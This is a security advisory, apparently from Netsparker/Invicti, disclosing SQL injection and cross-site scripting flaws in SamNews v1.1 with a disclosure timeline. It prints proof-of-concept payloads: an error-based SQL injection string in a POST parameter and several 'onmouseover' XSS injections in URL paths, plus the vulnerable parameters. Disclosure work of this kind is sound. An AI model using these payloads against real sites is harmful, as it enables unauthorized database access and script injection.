XSS and SQL Injection Vulnerabilities in SamNews
Information
Advisory by Netsparker (now Invicti)
Name: Critical XSS and SQL Injection Vulnerabilities in SamNews
Software: SamNews v1.1 and possibly below.
Vendor Homepage: http://samjlevy.com/samnews/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-005
Description
SamNews is a social news application like Digg and Reddit. SamNews is written in PHP/MySQL.
Details
SamNews is affected by XSS and SQL Injection vulnerabilities in version 1.1.
Example PoC urls are as follows:
SQL Injection Vulnerabilities
http://example.com/samnews/ctlist(POST)id=-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
XSS Vulnerabilities
http://example.com/samnews/new/cat/'onmouseover='alert(9)http://example.com/samnews/new/all-time/'onmouseover='alert(9)http://example.com/samnews/submissions/'onmouseover='alert(9)http://example.com/samnews/register(POST – params: email, email_verify)http://example.com/samnews/submit/bulk(POST – params: url_1)http://example.com/samnews/reset/email(POST – params: email, email_verify)http://example.com/samnews/ctlist(POST – params: name)
Learn more about XSS and SQL Injection vulnerabilities:
Solution
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Advisory Timeline
06/01/2014 – First Contact – No Response
19/02/2014 – Advisory Released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
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